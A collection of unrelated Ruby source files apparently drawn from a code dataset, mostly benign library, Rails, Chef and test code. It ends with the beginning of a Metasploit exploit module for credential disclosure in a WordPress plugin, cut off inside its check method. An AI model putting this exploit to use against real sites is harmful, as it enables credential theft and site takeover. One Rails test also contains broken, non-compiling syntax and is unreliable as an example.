url "https://files.pythonhosted.org/packages/6b/34/415834bfdafca3c5f451532e8a8d9ba89a21c9743a0c59fbd0205c7f9426/six-1.15.0.tar.gz"
sha256 "30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"
end
resource "urllib3" do
url "https://files.pythonhosted.org/packages/76/d9/bbbafc76b18da706451fa91bc2ebe21c0daf8868ef3c30b869ac7cb7f01d/urllib3-1.25.11.tar.gz"
sha256 "8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2"
end
def install
virtualenv_install_with_resources
end
test do
(testpath/"test.yml").write <<~EOS
---
AWSTemplateFormatVersion: '2010-09-09'
Resources:
# Helps tests map resource types
IamPipeline:
Type: "AWS::CloudFormation::Stack"
Properties:
TemplateURL: !Sub 'https://s3.${AWS::Region}.amazonaws.com/bucket-dne-${AWS::Region}/${AWS::AccountId}/pipeline.yaml'
Parameters:
DeploymentName: iam-pipeline
Deploy: 'auto'
EOS
system bin/"cfn-lint", "test.yml"
end
end
| 43.984733 | 149 | 0.801111 |
6aa6d62d5197fb984735da833c8218408968271e | 235 | # frozen_string_literal: true
module Dhis2
module Api
module Version228
class ProgramIndicator < ::Dhis2::Api::Base
include ::Dhis2::Api::Listable
include ::Dhis2::Api::Findable
end
end
end
end
| 18.076923 | 49 | 0.646809 |
1c303a7697c7625f7829661d3d7fee024606b42e | 13,344 | =begin
#ORY Keto
#Ory Keto is a cloud native access control server providing best-practice patterns (RBAC, ABAC, ACL, AWS IAM Policies, Kubernetes Roles, ...) via REST APIs.
The version of the OpenAPI document: v0.6.0-alpha.6
Contact: [email protected]
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.1.1
=end
require 'cgi'
module OryHydraClient
class ReadApi
attr_accessor :api_client
def initialize(api_client = ApiClient.default)
@api_client = api_client
end
# Check a relation tuple
# To learn how relation tuples and the check works, head over to [the documentation](../concepts/relation-tuples.mdx).
# @param namespace [String] Namespace of the Relation Tuple
# @param object [String] Object of the Relation Tuple
# @param relation [String] Relation of the Relation Tuple
# @param [Hash] opts the optional parameters
# @option opts [String] :subject Subject of the Relation Tuple The subject follows the subject string encoding format.
# @return [GetCheckResponse]
def get_check(namespace, object, relation, opts = {})
data, _status_code, _headers = get_check_with_http_info(namespace, object, relation, opts)
data
end
# Check a relation tuple
# To learn how relation tuples and the check works, head over to [the documentation](../concepts/relation-tuples.mdx).
# @param namespace [String] Namespace of the Relation Tuple
# @param object [String] Object of the Relation Tuple
# @param relation [String] Relation of the Relation Tuple
# @param [Hash] opts the optional parameters
# @option opts [String] :subject Subject of the Relation Tuple The subject follows the subject string encoding format.
# @return [Array<(GetCheckResponse, Integer, Hash)>] GetCheckResponse data, response status code and response headers
def get_check_with_http_info(namespace, object, relation, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: ReadApi.get_check ...'
end
# verify the required parameter 'namespace' is set
if @api_client.config.client_side_validation && namespace.nil?
fail ArgumentError, "Missing the required parameter 'namespace' when calling ReadApi.get_check"
end
# verify the required parameter 'object' is set
if @api_client.config.client_side_validation && object.nil?
fail ArgumentError, "Missing the required parameter 'object' when calling ReadApi.get_check"
end
# verify the required parameter 'relation' is set
if @api_client.config.client_side_validation && relation.nil?
fail ArgumentError, "Missing the required parameter 'relation' when calling ReadApi.get_check"
end
# resource path
local_var_path = '/check'
# query parameters
query_params = opts[:query_params] || {}
query_params[:'namespace'] = namespace
query_params[:'object'] = object
query_params[:'relation'] = relation
query_params[:'subject'] = opts[:'subject'] if !opts[:'subject'].nil?
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:debug_body]
# return_type
return_type = opts[:debug_return_type] || 'GetCheckResponse'
# auth_names
auth_names = opts[:debug_auth_names] || []
new_options = opts.merge(
:operation => :"ReadApi.get_check",
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: ReadApi#get_check\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Expand a Relation Tuple
# Use this endpoint to expand a relation tuple.
# @param namespace [String] Namespace of the Relation Tuple
# @param object [String] Object of the Relation Tuple
# @param relation [String] Relation of the Relation Tuple
# @param [Hash] opts the optional parameters
# @option opts [Integer] :max_depth
# @return [ExpandTree]
def get_expand(namespace, object, relation, opts = {})
data, _status_code, _headers = get_expand_with_http_info(namespace, object, relation, opts)
data
end
# Expand a Relation Tuple
# Use this endpoint to expand a relation tuple.
# @param namespace [String] Namespace of the Relation Tuple
# @param object [String] Object of the Relation Tuple
# @param relation [String] Relation of the Relation Tuple
# @param [Hash] opts the optional parameters
# @option opts [Integer] :max_depth
# @return [Array<(ExpandTree, Integer, Hash)>] ExpandTree data, response status code and response headers
def get_expand_with_http_info(namespace, object, relation, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: ReadApi.get_expand ...'
end
# verify the required parameter 'namespace' is set
if @api_client.config.client_side_validation && namespace.nil?
fail ArgumentError, "Missing the required parameter 'namespace' when calling ReadApi.get_expand"
end
# verify the required parameter 'object' is set
if @api_client.config.client_side_validation && object.nil?
fail ArgumentError, "Missing the required parameter 'object' when calling ReadApi.get_expand"
end
# verify the required parameter 'relation' is set
if @api_client.config.client_side_validation && relation.nil?
fail ArgumentError, "Missing the required parameter 'relation' when calling ReadApi.get_expand"
end
# resource path
local_var_path = '/expand'
# query parameters
query_params = opts[:query_params] || {}
query_params[:'namespace'] = namespace
query_params[:'object'] = object
query_params[:'relation'] = relation
query_params[:'max-depth'] = opts[:'max_depth'] if !opts[:'max_depth'].nil?
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:debug_body]
# return_type
return_type = opts[:debug_return_type] || 'ExpandTree'
# auth_names
auth_names = opts[:debug_auth_names] || []
new_options = opts.merge(
:operation => :"ReadApi.get_expand",
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: ReadApi#get_expand\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Query relation tuples
# Get all relation tuples that match the query. Only the namespace field is required.
# @param namespace [String]
# @param [Hash] opts the optional parameters
# @option opts [String] :object
# @option opts [String] :relation
# @option opts [String] :subject
# @option opts [String] :page_token
# @option opts [Integer] :page_size
# @return [GetRelationTuplesResponse]
def get_relation_tuples(namespace, opts = {})
data, _status_code, _headers = get_relation_tuples_with_http_info(namespace, opts)
data
end
# Query relation tuples
# Get all relation tuples that match the query. Only the namespace field is required.
# @param namespace [String]
# @param [Hash] opts the optional parameters
# @option opts [String] :object
# @option opts [String] :relation
# @option opts [String] :subject
# @option opts [String] :page_token
# @option opts [Integer] :page_size
# @return [Array<(GetRelationTuplesResponse, Integer, Hash)>] GetRelationTuplesResponse data, response status code and response headers
def get_relation_tuples_with_http_info(namespace, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: ReadApi.get_relation_tuples ...'
end
# verify the required parameter 'namespace' is set
if @api_client.config.client_side_validation && namespace.nil?
fail ArgumentError, "Missing the required parameter 'namespace' when calling ReadApi.get_relation_tuples"
end
# resource path
local_var_path = '/relation-tuples'
# query parameters
query_params = opts[:query_params] || {}
query_params[:'namespace'] = namespace
query_params[:'object'] = opts[:'object'] if !opts[:'object'].nil?
query_params[:'relation'] = opts[:'relation'] if !opts[:'relation'].nil?
query_params[:'subject'] = opts[:'subject'] if !opts[:'subject'].nil?
query_params[:'page_token'] = opts[:'page_token'] if !opts[:'page_token'].nil?
query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:debug_body]
# return_type
return_type = opts[:debug_return_type] || 'GetRelationTuplesResponse'
# auth_names
auth_names = opts[:debug_auth_names] || []
new_options = opts.merge(
:operation => :"ReadApi.get_relation_tuples",
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: ReadApi#get_relation_tuples\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Check a relation tuple
# To learn how relation tuples and the check works, head over to [the documentation](../concepts/relation-tuples.mdx).
# @param [Hash] opts the optional parameters
# @option opts [InternalRelationTuple] :payload
# @return [GetCheckResponse]
def post_check(opts = {})
data, _status_code, _headers = post_check_with_http_info(opts)
data
end
# Check a relation tuple
# To learn how relation tuples and the check works, head over to [the documentation](../concepts/relation-tuples.mdx).
# @param [Hash] opts the optional parameters
# @option opts [InternalRelationTuple] :payload
# @return [Array<(GetCheckResponse, Integer, Hash)>] GetCheckResponse data, response status code and response headers
def post_check_with_http_info(opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: ReadApi.post_check ...'
end
# resource path
local_var_path = '/check'
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# HTTP header 'Content-Type'
header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'payload'])
# return_type
return_type = opts[:debug_return_type] || 'GetCheckResponse'
# auth_names
auth_names = opts[:debug_auth_names] || []
new_options = opts.merge(
:operation => :"ReadApi.post_check",
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: ReadApi#post_check\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
end
end
| 41.058462 | 156 | 0.677308 |
7a34e5a3b3c9186022a2763b042761bc682004ac | 549 | Pod::Spec.new do |s|
s.name = "CheckConnectivity"
s.version = "1.0.7"
s.summary = "Checks Connectivity."
s.description = "Checks internet connection."
s.homepage = "https://github.com/"
s.license = "MIT"
s.author = "Kahuna"
s.platform = :ios, "8.0"
s.source = { :git => "https://github.com/vishakhajadhav/CheckConnectivity.git", :tag => "1.0.7" }
s.source_files = "CheckConnectivity", "CheckConnectivity/**/*.{h,m,swift}"
s.framework = 'SystemConfiguration'
end
| 21.115385 | 105 | 0.581056 |
1139e7ada2a9cf868752e5b4a094165d43c698ab | 782 | require 'test_helper'
class UsersControllerTest < ActionDispatch::IntegrationTest
setup do
@user = users(:one)
end
test "should get index" do
get users_url, as: :json
assert_response :success
end
test "should create user" do
assert_difference('User.count') do
post users_url, params: { user: { : @user. } }, as: :json
end
assert_response 201
end
test "should show user" do
get user_url(@user), as: :json
assert_response :success
end
test "should update user" do
patch user_url(@user), params: { user: { : @user. } }, as: :json
assert_response 200
end
test "should destroy user" do
assert_difference('User.count', -1) do
delete user_url(@user), as: :json
end
assert_response 204
end
end
| 20.051282 | 68 | 0.654731 |
87624084d117557df4bbbc7e5e7fd18348484024 | 103 | # Reclass so we can raise our own Exceptions.
class SDP
class RuntimeError < StandardError
end
end
| 17.166667 | 45 | 0.76699 |
e2ecf8cc1116fecd577f8c232a5b1017362ace12 | 759 | Rails.application.routes.draw do
get 'password_resets/new'
get 'password_resets/edit'
get 'sessions/new'
root "static_pages#home"
get '/help', to: 'static_pages#help'
get '/about', to: 'static_pages#about'
get '/contact', to: 'static_pages#contact'
get '/signup', to: 'users#new'
post '/signup', to: 'users#create'
get '/login', to: 'sessions#new'
post '/login', to: 'sessions#create'
delete '/logout', to: 'sessions#destroy'
resources :users do
member do
get :following, :followers
end
end
resources :account_activations, only:[:edit]
resources :password_resets, only:[:new, :create, :edit, :update]
resources :microposts, only:[:create, :destroy]
resources :relationships, only:[:create, :destroy]
end
| 26.172414 | 66 | 0.681159 |
d5b45dff3795ba118d23aa8f14c0ac6d78db7bc2 | 246 | module ActiveRecord
module ShardFor
# Railtie of activerecord-shard_for
class Railtie < ::Rails::Railtie
rake_tasks do
load File.expand_path('../../tasks/activerecord_shard_for.rake', __FILE__)
end
end
end
end
| 22.363636 | 82 | 0.682927 |
7a50673a3f9e14aee17f076f5d87eb2b90523178 | 563 | if defined?(ChefSpec)
def configure_varnish_repo(resource_name)
ChefSpec::Matchers::ResourceMatcher.new(:varnish_repo, :configure, resource_name)
end
def configure_vcl_file(resource_name)
ChefSpec::Matchers::ResourceMatcher.new(:vcl_file, :configure, resource_name)
end
def configure_vcl_template(resource_name)
ChefSpec::Matchers::ResourceMatcher.new(:vcl_template, :configure, resource_name)
end
def configure_varnish_log(resource_name)
ChefSpec::Matchers::ResourceMatcher.new(:varnish_log, :configure, resource_name)
end
end
| 31.277778 | 85 | 0.792185 |
266a7da5bf8115ac2961388d7a0bfcd483612013 | 441 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2020_07_01
module Models
#
# Defines values for OfficeTrafficCategory
#
module OfficeTrafficCategory
Optimize = "Optimize"
OptimizeAndAllow = "OptimizeAndAllow"
All = "All"
None = "None"
end
end
end
| 23.210526 | 70 | 0.69161 |
18d68c053fd2a9069457d662478096e740d288ac | 905 | module InvoiceRepresenter
include ThreeScale::JSONRepresenter
wraps_resource
property :id
property :friendly_id
property :created_at
property :updated_at
property :state
property :paid_at
property :due_on
property :issued_on
property :currency
property :cost
property :vat_rate, render_nil: true
property :vat_amount
property :cost_without_vat
property :period
property :creation_type
def cost
super.to_f
end
def vat_amount
super.to_f
end
def vat_rate
super&.to_f
end
def cost_without_vat
exact_cost_without_vat.to_f
end
link :account do
admin_api_account_url(buyer_account_id) if buyer_account_id
end
link :self do
api_invoice_url(id) if id
end
link :payment_transactions do
api_invoice_payment_transactions_url(id) if id
end
link :line_items do
api_invoice_line_items_url(id) if id
end
end
| 15.338983 | 63 | 0.744751 |
7a3eb678cf36b017e6d560ec3d793ba2c3e35182 | 339 | class CreateIngressPoints < ActiveRecord::Migration
def change
create_table :ingress_points do |t|
t.decimal :lat, null: false, scale: 6, precision: 9
t.decimal :long, null: false, scale: 6, precision: 9
t.string :portal_name, null: true, default: nil
t.timestamps null: false
end
end
end
| 28.25 | 64 | 0.651917 |
e8a5ae104e36ce56447a841cd560cdc450f4e706 | 5,134 | require "cloudapp/cli/collections"
require "cloudapp/credentials.rb"
require "http"
require "optparse"
module CloudApp
module CLI
class CollectionsPrompt
@@token = nil
def self.print_help
$stdout.puts <<EOS
Usage:
cloudapp --collections [flags] [options]
flags:
-l, --list
- list all collections
-v, --list_items [collection_id]
- list all items in collection where collection is referenced by collection_id
-c, --create [collection_name] [is_public]
- create a new collection where the collection name is collection_name, is_public is an optional value
this defaults to false, setting it true will make this collection public.
-d, --delete [collection_id]
- delete the collection referenced by collection_id
-r, --rename [collection_id] [new_name]
- renames an existing collection referenced by collection id with the new_name provided
-a, --add_items [collection_id] [slugs]
- add items by slug to an existing collection referenced by collection id. slugs should be a comma seperated list of slugs e.g. aa5095cc7812,0o022y3o363a,1R1B310N1V3n
-x, --remove_items [collection_id] [slugs]
- remove items by slug to an existing collection referenced by collection id. slugs should be a comma seperated list of slugs e.g. aa5095cc7812,0o022y3o363a,1R1B310N1V3n
-u, --list_users [collection_id]
- list all users with access to the collection
-i, --invite_user [collection_id] [email_address] [role]
- invite a user to the collection referenced by collection_id. email_address is the address of the person to be invited. role should be either 'member' or 'admin'
-e, --remove_user [collection_id] [access_id]
- remove a user from the collection referenced by collection_id. access_id is required.
-h, --help
- print this message
EOS
end
def self.print_error(given, needed)
print_help
puts ""
puts "ERROR -- Missing Arguments"
if given == 0
puts "No required arguments have been provided, #{needed} required arguments were expected."
elsif given == 1
puts "Only #{given} required argument has been provided, #{needed} required arguments were expected."
else
puts "Only #{given} required argument(s) has been provided, #{needed} required arguments were expected."
end
end
def self.correct_number_of_required_args?(args, required)
if (args.arguments.count - 1) >= required
return true
end
print_error (args.arguments.count - 1), required
return false
end
def self.parse_options(args)
unless @@token
@@token = CloudApp::CLI::Collections.token_to_jwt(Credentials.token)
end
@client = CloudApp::CLI::Collections.new(@@token)
parser = OptionParser.new do |opts|
opts.on("-l", "--list", "") do
@client.list_collections
end
opts.on("-v", "--list_items", "") do
@client.list_items args.arguments[1] if correct_number_of_required_args?(args, 1)
end
opts.on("-c", "--create", "") do
@client.create_collections args.arguments[1], args.arguments[2] if correct_number_of_required_args?(args, 2)
end
opts.on("-d", "--delete", "") do
@client.delete_collection args.arguments[1] if correct_number_of_required_args?(args, 1)
end
opts.on("-r", "--rename", "") do
@client.rename_collection args.arguments[1], args.arguments[2] if correct_number_of_required_args?(args, 2)
end
opts.on("-a", "--add_items", "") do
@client.add_item_to_collection args.arguments[1], args.arguments[2] if correct_number_of_required_args?(args, 2)
end
opts.on("-x", "--remove_items", "") do
@client.remove_item_from_collection args.arguments[1], args.arguments[2] if correct_number_of_required_args?(args, 2)
end
opts.on("-u", "--list_users", "") do
@client.list_users args.arguments[1] if correct_number_of_required_args?(args, 1)
end
opts.on("-i", "--invite_user", "") do
@client.invite_user args.arguments[1], args.arguments[2], args.arguments[3] if correct_number_of_required_args?(args, 3)
end
opts.on("-e", "--remove_user", "") do
@client.remove_user args.arguments[1], args.arguments[2] if correct_number_of_required_args?(args, 2)
end
opts.on_tail("-h", "--help", "") do
print_help
exit
end
end
unless ARGV.count > 0
print_help
exit
end
parser.parse(ARGV)
end
end
end
end
| 37.75 | 185 | 0.600117 |
abb00d7f2b8fb7f2b22c064cd8f54ba997d08eb3 | 92 | node(:accounts) do |accounts|
@accounts.map { |c| partial "accounts/show", object: c }
end | 30.666667 | 58 | 0.684783 |
e9b418c2989ea337a29899058973132e37c25471 | 331 | class Chord; end;
class Chord::Type; end;
class Chord::Type::AugMaj7 < Chord::Type
def self.in_chord_symbol
"+maj7"
end
def self.norm_interval_structure
[ "1", "3", "#5", "7" ]
end
def self.anki_filename
"augmaj7"
end
def self.anki_tag
"augmaj7"
end
def self.html_symbol
"+maj7"
end
end
| 13.791667 | 40 | 0.63142 |
624a95f202806e1ee65286087427e8b273fb7666 | 747 | # encoding: utf-8
class MinimalMapObservation
attr_accessor :id, :lat, :long, :location, :location_id
def initialize(id, lat, long, location_or_id)
@id = id
@lat = lat
@long = long
if location_or_id.is_a?(Fixnum) or
location_or_id.is_a?(String)
@location_id = location_or_id.to_i
elsif location
@location = location_or_id
@location_id = location_or_id.id
end
end
def location=(loc)
if loc
@location = loc
@location_id = loc.id
else
@location = nil
@location_id = nil
end
end
def is_location?
false
end
def is_observation?
true
end
def lat_long_dubious?
lat and location and not location.lat_long_close?(lat, long)
end
end
| 18.219512 | 64 | 0.646586 |
4a384240f9df0839bc3635f33dc45bed76657319 | 5,122 | # This is a MiniTest test file. It will test the Predictor object in predictor.rb
# Minitest documentation here: http://docs.seattlerb.org/minitest/
# require can be used to access gems (i.e. libraries)
# Libraries tend to be used very often in Ruby programs and especially Rails projects
# Note that you can add a .rb or not
require 'minitest/autorun'
require_relative 'predictor'
# This shows subclassing in action! PredictorTest is a subclass of Minitest::Test
# This would be similar to:
# import Minitest.Test;
# public class PredictorTest extends Test { ... }
class PredictorTest < Minitest::Test
# Methods that start with "test", and are in classes which are subclasses
# of Minitest::Test, will be run as tests when you run this file.
# Be careful - a common error is writing "tset_whatever" and that test
# will never run! This is one of the problems with an interpreted language
# like Ruby.
# Just like manual tests, we should always code up EXPECTED behavior in our
# test cases, not OBSERVED behavior. The execution of the test will determine
# the observed behavior. If expected behavior is not equal to the observed
# behavior, we have a failure.
# Verify that creating a Predictor is an instance of Predictor and not
# something else.
# Assertions are how we declare that something is correct with our code.
# They should state the EXPECTED BEHAVIOR of the system (usually a method,
# object, or class)
# assert by itself checks that the following statement returns true
# refute by itself would check that the following statement returns false
def test_magic_ball_is_magic_ball
magic_ball = Predictor::new
assert magic_ball.is_a?(Predictor)
end
# Very simple test - check that c# reating a new Predictor creates
# a new Predictor and verifies that it is not nil.
# nil is similar to Java's null
# refute can be read as "assert not" - that is, refute_nil would
# be the same as the (nonexistent) "assert_not_nil"
def test_magic_ball_new_not_nil
magic_ball = Predictor::new
refute_nil magic_ball
end
# Verify that calling the shake method returns "SHAKE SHAKE SHAKE"
def test_shake_shake_shake_shake
magic_ball = Predictor::new
assert_equal "SHAKE SHAKE SHAKE", magic_ball.shake
end
# assert_includes means "assert that the result exists in the array
# Predictor::ANSWERS.
# You can obtain a constant/class variable using ::, which we have been
# doing for ::new but is also available for other things
# This calls the ask method on a new Predictor the question "Meow?"
# This should return a string which should be something in Predictor::ANSWERS
def test_ask_returns_an_answer
magic_ball = Predictor::new
assert_includes Predictor::ANSWERS, magic_ball.ask("Meow?")
end
# Check that sending in a command with spaces works as expected
def test_ask_spaces_returns_answer
magic_ball = Predictor::new
assert_includes Predictor::ANSWERS, magic_ball.ask("Meow meow meow meow meow?")
end
# This is another way of stating:
# assert Predictor::ANSWERS.is_a?(Array)
def test_predefined_answers_is_array
assert_kind_of Array, Predictor::ANSWERS
end
# Predictor::ANSWERS should have > 0 elements.
# Note that we are not determining EXACTLY how many elements should be in
# the array. This would lead to brittle tests that would fail after
# every modification. It's a balance between being _specific_ and avoiding
# being _brittle_.
def test_predefined_answers_is_not_empty
refute_empty Predictor::ANSWERS
end
# Checks to see if we send in a number (and not a string) to the ask
# method of Predictor that it should raise an exception
# Note the do...end. This is a code block (just like in Java - { })
# do..end and {..} are both acceptable in Ruby.
def test_raises_error_when_question_is_number
assert_raises "Question has invalid format." do
magic_ball = Predictor::new
magic_ball.ask(1)
end
end
# Check that the other aspect of our valid_question works -
# that if a sentence does not end in a question mark, it is also
# marked as invalid
def test_raises_error_when_no_question_mark
assert_raises "Question has invalid format." do
magic_ball = Predictor::new
magic_ball.ask("This is not a question")
end
end
# Check that the magic ball has :ask and :shake methods
# but does NOT have a :roll method.
def test_magic_ball_methods
magic_ball = Predictor::new
assert_respond_to magic_ball, :ask
assert_respond_to magic_ball, :shake
refute_respond_to magic_ball, :roll
end
# Check that calling the "shake" method does not print anything
# to the console
def test_magic_ball_silent_shake
magic_ball = Predictor::new
assert_silent { magic_ball.shake() }
end
# Check that calling print_shake prints out "SHAKE SHAKE SHAKE"
# to the console
def test_magic_ball_print_shake
magic_ball = Predictor::new
# Remember the \n!
assert_output("SHAKE SHAKE SHAKE\n") { magic_ball.print_shake }
end
end
| 35.082192 | 85 | 0.738774 |
b9965031534f694c4c5e4b7fd461e5f5077639f8 | 6,317 | def build_js(from_dir, build_file_name, to_dir, target_file_name, min = false)
require 'sprockets'
require 'sprockets/es6'
target = File.expand_path(target_file_name, to_dir)
environment = Sprockets::Environment.new
environment.register_engine('.es6', Sprockets::ES6)
environment.append_path(from_dir)
environment.js_compressor = :uglify if min
js = environment[build_file_name].to_s
File.write(target, js)
end
namespace "gen" do
namespace "app" do
namespace "web" do
task "all",
:app_source, :web_source, :ass_source, :dest, :debug do |t, args|
app_source = args[:app_source]
web_source = args[:web_source]
ass_source = args[:ass_source]
dest = args[:dest]
debug = args[:debug]
invoke "gen:app:web:create dest dir", dest
invoke "gen:app:web:copy user plat spec code", web_source, dest
invoke "gen:app:web:gen user app js", app_source, dest, debug
invoke "gen:app:web:dl jq", dest
invoke "gen:app:web:gen cb js", dest, debug
invoke "gen:app:web:cp user assets", ass_source, dest
invoke "gen:app:web:create image metadata", ass_source, dest
end
task "create dest dir", :dest do |t, args|
dest = args[:dest]
directory dest do
UI.happy "destination directory created"
end.invoke
end
task "copy user plat spec code", :source, :dest do |t, args|
source = args[:source]
dest = args[:dest]
did_something = false
sources = Rake::FileList.new File.expand_path('**/*', source)
sources.map do |f|
target = f.gsub(source, dest)
file target => f do
if File.directory? f
sh "mkdir -p #{target}"
else
sh "cp #{f} #{target}"
end
did_something = true
end.invoke
end
end
task "gen user app js", :source_dir, :dest, :debug do |t, args|
source_dir = args[:source_dir]
dest = args[:dest]
debug = args[:debug]
build_name = 'build.js'
min = debug ? false : true
sources = Rake::FileList.new File.expand_path('**/*', source_dir)
target = File.expand_path('application.js', dest)
file target => sources do
build_js source_dir, build_name, dest, 'application.js', min
UI.happy "application.js generated"
end.invoke
end
task "dl jq", :dest do |t, args|
dest = args[:dest]
jquery_location = File.expand_path('jquery-2.1.3.js', args[:dest])
file jquery_location do
require 'open-uri'
content = open("http://code.jquery.com/jquery-2.1.3.js").read
File.open(jquery_location, 'w') {|f| f.write(content)}
UI.happy("jquery-2.1.3.js downloaded")
end.invoke
end
task "gen cb js", :dest, :debug do |t, args|
dest = args[:dest]
debug = args[:debug]
build_name = debug ? 'debug_build.js' : 'build.js'
min = debug ? false : true
cb_path = File.expand_path('src', CocoaBean::Task.root_directory_of_cocoa_bean)
sources = Rake::FileList.new(File.expand_path('**/*', cb_path))
target_name = 'cocoabean-' + CocoaBean::VERSION + '.js'
target = File.expand_path(target_name, dest)
file target => sources do
build_js(cb_path, build_name, dest, target_name, min)
UI.happy("#{target_name} generated")
end.invoke
end
task "cp user assets", :source, :dest do |t, args|
source = args[:source]
dest = args[:dest]
if File.directory? source
assets_dir = File.expand_path('assets', dest)
directory(assets_dir).invoke
did_something = false
sources = Rake::FileList.new File.expand_path('**/*', source)
sources.map do |f|
target = f.gsub(source, assets_dir)
file target => f do
if File.directory?(f)
sh "mkdir -p #{target}"
else
sh "cp #{f} #{target}"
end
did_something = true
end.invoke
end
UI.happy "assets copied" if did_something
end
end
task "create image metadata", :source, :dest do |t, args|
source = args[:source]
dest = args[:dest]
require 'fastimage'
require 'json'
if File.directory? source
metadata_target = File.expand_path('imagedata.js', dest)
all_assets = Rake::FileList.new File.expand_path('**/*', source)
images = all_assets.select {|f| f.match /\.(jpg|png|bmp|svg)$/ }
file metadata_target => images do
doublePixelRatios = images.select { |f| f.match /@2x/ }
triplePixelRatios = images.select { |f| f.match /@3x/ }
singlePixelRatios = images - doublePixelRatios - triplePixelRatios
jash = {}
images.each do |i|
if doublePixelRatios.include?(i)
pixel_ratio = 2
availability_flag = "@2x"
elsif triplePixelRatios.include?(i)
pixel_ratio = 3
availability_flag = "@3x"
elsif singlePixelRatios.include?(i)
pixel_ratio = 1
availability_flag = "@1x"
end
image_file_name = i
key_name = File.basename(i).sub('@2x', '').sub('@3x', '')
descriptor = jash[key_name]
if descriptor
jash[key_name][availability_flag] = true
# descriptor[availability_flag] = true
else
descriptor = {}
size = FastImage.size(i)
descriptor['width'] = (size[0] / pixel_ratio).floor
descriptor['height'] = (size[1] / pixel_ratio).floor
descriptor[availability_flag] = true
jash[key_name] = descriptor
end
end
content = "CB.__ImageMetadata = " + JSON.pretty_generate(jash) + ';'
File.write(metadata_target, content)
UI.happy "image metadata file generated"
end.invoke
end
end
end
end
end
| 33.247368 | 87 | 0.558493 |
d52ecda3a8f721b8b2a06cd76b2425faec85d991 | 9,375 | ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rbmysql'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
'Description' => %q{
This module exploits an arbitrary file disclosure flaw in the WordPress
blogging software plugin known as Google Document Embedder. The vulnerability allows for
database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
server is exposed on a accessible IP and Wordpress has filesystem write access.
Please note: The admin password may get changed if the exploit does not run to the end.
},
'Author' =>
[
'Charlie Eriksen',
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-4915'],
['OSVDB', '88891'],
['URL', 'http://secunia.com/advisories/50832'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 03 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
plugins_uri = String.new(uri)
plugins_uri << datastore['PLUGINSPATH']
plugins_uri << '/' if plugins_uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
})
if res and res.code == 200
return Exploit::CheckCode::Appears
else
